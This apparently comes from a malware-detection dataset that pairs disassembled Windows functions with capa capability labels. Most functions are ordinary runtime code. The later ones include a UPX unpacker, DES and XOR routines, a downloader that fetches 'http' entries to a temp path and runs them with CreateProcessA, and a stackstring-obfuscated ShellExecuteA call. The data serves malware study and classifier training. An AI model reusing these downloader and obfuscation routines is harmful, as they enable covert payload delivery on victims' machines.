joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005f606
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x1008c400]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x1005f651
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.1005fa14
test al, al
jne 0x1005f64b
sub edx, 2
cmp edx, edi
jne 0x1005f631
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x1005f673
lea eax, [edi + 2]
cmp edx, eax
je 0x1005f673
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.1005f2cd
add esp, 0x10
jmp 0x1005f76d
push esi
lea ecx, [ebp - 0x255]
call fcn.1005fa14
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1005f6b6
push dword [ebp - 0x25c]
jmp 0x1005f663
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x1005f6f3
cmp word [ebp - 0x226], 0
je 0x1005f714
cmp word [ebp - 0x226], ax
jne 0x1005f6f3
cmp word [ebp - 0x224], 0
je 0x1005f714
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.1005f2cd
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x1005f760
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x1005f6cd
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x1005f748
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x1005f76d
push 0x1005ed1d
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.1006b370
add esp, 0x10
jmp 0x1005f73d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002461d
leave
ret
Function at 0x10061069
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10061106
push ebx
push esi
call fcn.10061025
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10060f62
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100610b3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10061105
push edi
push eax
call fcn.1005c76f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100610d3
call fcn.1005c735
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10061104
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10060f62
add esp, 0x20
test eax, eax
jne 0x100610f2
push edi
call fcn.1005c735
jmp 0x100610fa
push ebx
call fcn.1005c735
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10061109
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1006111a
pop esi
ret
push ebx
push edi
push esi
call fcn.10061025
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1005c76f
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10061142
push ebx
push esi
push edi
call fcn.10026c40
add esp, 0xc
push 0
call fcn.1005c735
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10061a26
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100613b7

Function at 0x10066233
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1005a266
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100662a2
cmp esi, dword [ebp - 4]
je 0x1006629d
cmp dword [ebp + 0xc], 0
je 0x1006629d
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1006627a
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.10065d85
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x100662a4
xor eax, eax
inc eax
jmp 0x100662a4
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10066309
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1008c400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1005a266
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1005a266
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10066380
cmp word [ecx], dx
je 0x10066380
mov eax, dword [0x100838b4]
push edi
dec eax
push eax
push 0x100837a0
call fcn.100662a8
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100663f3
cmp word [eax], dx
je 0x100663f3
mov eax, dword [edi]
test eax, eax
je 0x100663a4
cmp word [eax], dx
je 0x100663a4
lea eax, [ebp - 0x10]
push eax
call fcn.10065c8b
jmp 0x100663ad
lea eax, [ebp - 0x10]
push eax
call fcn.10065d26
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1006641d
mov eax, dword [0x1008379c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10083490
call fcn.100662a8
add esp, 0xc
test al, al
je 0x1006641d
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100663e8
cmp word [eax], di
je 0x100663e8
lea eax, [ebp - 0x10]
push eax
call fcn.10065c8b
pop ecx
jmp 0x1006641f
lea eax, [ebp - 0x10]
push eax
call fcn.10065d26
jmp 0x100663e5
mov eax, dword [edi]
test eax, eax
je 0x1006640a
cmp word [eax], dx
je 0x1006640a
lea eax, [ebp - 0x10]
push eax
call fcn.10065c22
pop ecx
jmp 0x1006641d
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x100664e8
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1006612d
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100664e8
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x100664e8
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x100664e8
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10066475
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10059678
test ebx, ebx
je 0x100664e3
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10059678
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100664e8
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100664e8
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1006dc64
add esp, 0x10
xor eax, eax
inc eax
jmp 0x100664ea
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002461d
leave
ret
Function at 0x1006f242
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10093ec8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1006f282
cmp byte [ebx], 0xa
jne 0x1006f282
or byte [edi + eax + 0x28], 4
jmp 0x1006f287
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1006f386
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1006f369
inc eax
cmp dl, 0xd
je 0x1006f2b3
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1006f2d9
cmp eax, ecx
jae 0x1006f2e7
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1006f29b
jmp 0x1006f386
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1006f364
cmp dword [ebp - 0x10], 0
je 0x1006f364
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x10093ec8]
test byte [eax + edi + 0x28], 0x48
je 0x1006f33e
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1006f329
mov byte [esi], dl
jmp 0x1006f33a
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x10093ec8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1006f386
cmp byte [ebp - 1], 0xa
jne 0x1006f34d
cmp esi, ebx
jne 0x1006f34d
mov byte [esi], 0xa
jmp 0x1006f385
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1006e9d0
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1006f386
mov byte [esi], 0xd
jmp 0x1006f385
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x10093ec8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1006f383
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1006f386
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1006f38f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x10093ec8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1006f3d5
cmp word [ebx], dx
jne 0x1006f3d5
or byte [eax + edi + 0x28], 4
jmp 0x1006f3da
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1006f53d
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1006f51d
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1006f41b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1006f451
cmp eax, edx
jae 0x1006f45f
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1006f3f6
jmp 0x1006f53d
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1006f518
cmp dword [ebp - 0x18], 0
je 0x1006f518
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x10093ec8]
test byte [eax + edi + 0x28], 0x48
je 0x1006f4ee
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1006f4b2
mov word [esi], cx
jmp 0x1006f4e9
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x10093ec8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x10093ec8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x10093ec8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1006f53d
pop eax
cmp word [ebp - 4], ax
jne 0x1006f4fe
cmp esi, ebx
jne 0x1006f4fe
mov word [esi], ax
jmp 0x1006f53a
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1006e9d0
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1006f53d
push 0xd
pop eax
jmp 0x1006f4f9
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x10093ec8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1006f537
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1006f53d
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10071e5c
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10071d30

Function at 0x10073f00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10073f2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10073f2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x100757af
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
call fcn.10056fac
add esp, 0x18
mov dword [esi], eax
xor ecx, ecx
test eax, eax
push 4
pop edx
cmove ecx, edx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x50d9d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb7000]
push edi
jmp 0x50d9ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50d9f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50d9e0
mov eax, 1
add ebx, ebx
jne 0x50da03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50da14
jne 0x50da33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50da33
dec eax
add ebx, ebx
jne 0x50da20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x50d9f8
add ebx, ebx
jne 0x50da2f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x50da85
xor ecx, ecx
sub eax, 3
jb 0x50da4b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50daba
sar eax, 1
mov ebp, eax
jmp 0x50da56
add ebx, ebx
jne 0x50da56
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50da24
inc ecx
add ebx, ebx
jne 0x50da64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50da24
add ebx, ebx
jne 0x50da71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50da66
jne 0x50da82
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50da66
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50daa4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50da96
jmp 0x50d9e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50daa4
add edi, ecx
jmp 0x50d9e6
pop esi
mov edi, esi
mov ecx, 0x3ed3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50dac2
cmp byte [edi], 0x11
jne 0x50dac2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x50dac7
lea edi, [esi + 0x106000]
mov eax, dword [edi]
or eax, eax
je 0x50db3f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x14225c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1423d8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50daf4
mov ecx, edi
jns 0x50db23
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1423dc]
or eax, eax
je 0x50db39
mov dword [ebx], eax
add ebx, 4
jmp 0x50db11
call dword [esi + 0x1423ec]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x50db70
cmp al, 0xef
ja 0x50db63
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x50db45
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x50db52
mov ebp, dword [esi + 0x1423e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50dba4
sub esp, 0xffffff80
jmp 0x427dcd
Function at 0x40115a
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x40
push dword [ebp + 0xc]
mov edi, 0x413b70
push edi
call fcn.00401413
push 0x40
push 0x40e190
push edi
push edi
call fcn.0040136f
add esp, 0x1c
cmp byte [ebp + 0x14], 0
jne 0x4011de
mov ebx, dword [ebp + 0x10]
mov dword [ebp + 0x14], 0x10
mov esi, 0x413b50
push 0x20
push dword [0x410044]
push esi
call fcn.004035f0
push ebx
push dword [0x410044]
call fcn.004012d7
push 0x20
push dword [0x410040]
push dword [0x410044]
call fcn.004013b7
push 0x20
push esi
push dword [0x410040]
call fcn.004035f0
add esp, 0x2c
add ebx, 0x30
dec dword [ebp + 0x14]
jne 0x401196
jmp 0x401239
mov eax, dword [ebp + 0x10]
mov dword [ebp + 0x14], 0x10
mov esi, 0x413b50
lea ebx, [eax + 0x2d0]
push 0x20
push dword [0x410040]
push esi
call fcn.004035f0
push ebx
push dword [0x410040]
call fcn.004012d7
push 0x20
push dword [0x410044]
push dword [0x410040]
call fcn.004013b7
push 0x20
push esi
push dword [0x410044]
call fcn.004035f0
add esp, 0x2c
sub ebx, 0x30
dec dword [ebp + 0x14]
jne 0x4011f3
push 0x40
push 0x40e1d0
push edi
push edi
call fcn.0040136f
push 0x40
push edi
push dword [ebp + 8]
call fcn.00401442
add esp, 0x1c
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40125a
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x40
push dword [ebp + 0xc]
mov esi, 0x413b10
push esi
call fcn.00401413
push 0x38
push str.91__
push esi
push esi
call fcn.0040136f
mov eax, dword [ebp + 8]
add esp, 0x1c
xor ebx, ebx
mov dword [ebp + 0xc], eax
movsx eax, byte [ebx + 0x40e2c8]
lea edi, [ebx + 0x40e2c8]
push eax
push 0x1c
push dword [0x410048]
call fcn.004013d5
movsx eax, byte [edi]
push eax
push 0x1c
push dword [0x41004c]
call fcn.004013d5
push 0x30
push 0x40e298
push esi
push dword [ebp + 0xc]
call fcn.0040136f
add dword [ebp + 0xc], 0x30
add esp, 0x28
inc ebx
cmp ebx, 0x10
jl 0x401289
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4012d7
Capabilities:
Encrypt data using des

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push 0x30
push 0x40e210
mov esi, 0x413ae0
push edi
push esi
call fcn.0040136f
push 0x30
push dword [esp + 0x24]
push esi
call fcn.004013b7
push esi
push edi
call fcn.00401317
push 0x20
push 0x40e240
push edi
push edi
call fcn.0040136f
add esp, 0x34
pop edi
pop esi
ret

Function at 0x4013b7
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x4013d3
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
sub ecx, eax
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec esi
jne 0x4013ca
pop esi
ret
Function at 0x4016be
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xff
call fcn.00401680
push 0x6f
mov esi, eax
call fcn.00401680
imul esi, eax
push 0
call fcn.00403cbe
push eax
call fcn.00403c8f
call fcn.00403c9c
push dword [ebp + 0xc]
add esi, eax
lea eax, [ebp - 0x104]
push esi
push eax
push str._s_d._s
push dword [ebp + 8]
call fcn.00403c0b
add esp, 0x24
pop esi
leave
ret

Function at 0x401722
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push 0x41091c
push dword [ebp + 8]
call fcn.00403b6f
mov esi, eax
xor edi, edi
pop ecx
cmp esi, edi
pop ecx
jne 0x401744
xor eax, eax
jmp 0x4017ae
push edi
push edi
push esi
call fcn.00403eb1
push esi
push 1
lea eax, [ebp + 0xa]
push 2
push eax
call fcn.00403d9a
add esp, 0x1c
cmp word [ebp + 0xa], 0x5a4d
jne 0x4017a5
push edi
push 0x3c
push esi
call fcn.00403eb1
push esi
push 1
lea eax, [ebp - 4]
push 4
push eax
call fcn.00403d9a
push edi
push dword [ebp - 4]
push esi
call fcn.00403eb1
push esi
push 1
lea eax, [ebp - 8]
push 4
push eax
call fcn.00403d9a
add esp, 0x38
xor eax, eax
cmp dword [ebp - 8], 0x4550
sete al
mov edi, eax
push esi
call fcn.00403988
pop ecx
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x4017b2
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00403930
add esp, 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 4
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov word [ebp - 0x24], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40180a
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
leave
ret
Function at 0x40180d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push 0x41091c
push dword [ebp + 8]
call fcn.00403b6f
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x40190f
push esi
lea eax, [ebp - 0x104]
mov esi, 0x410924
push eax
push esi
push ebx
call fcn.00403f6a
add esp, 0xc
cmp eax, 0xffffffff
je 0x4018fe
push edi
mov edi, 0x104
cmp byte [ebp - 0x104], 0x68
jne 0x4018e3
cmp byte [ebp - 0x103], 0x74
jne 0x4018e3
cmp byte [ebp - 0x102], 0x74
jne 0x4018e3
cmp byte [ebp - 0x101], 0x70
jne 0x4018e3
lea eax, [ebp - 0x208]
push 0x410920
push eax
call fcn.004016be
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00401482
lea eax, [ebp - 0x208]
push eax
call fcn.00401722
add esp, 0x14
test eax, eax
je 0x4018c2
lea eax, [ebp - 0x208]
push eax
call fcn.004017b2
pop ecx
push edi
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00403930
push edi
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.00403930
add esp, 0x18
lea eax, [ebp - 0x104]
push eax
push esi
push ebx
call fcn.00403f6a
add esp, 0xc
cmp eax, 0xffffffff
jne 0x401856
pop edi
push ebx
call fcn.00403988
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
pop ebx
leave
ret

Function at 0x401912
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and byte [ebp - 1], 0
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x33
mov byte [ebp - 6], 0x32
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401977
push str.ShellExecuteA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 5
push 0
push 0
push dword [ebp + 8]
push str.open
push 0
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
leave
ret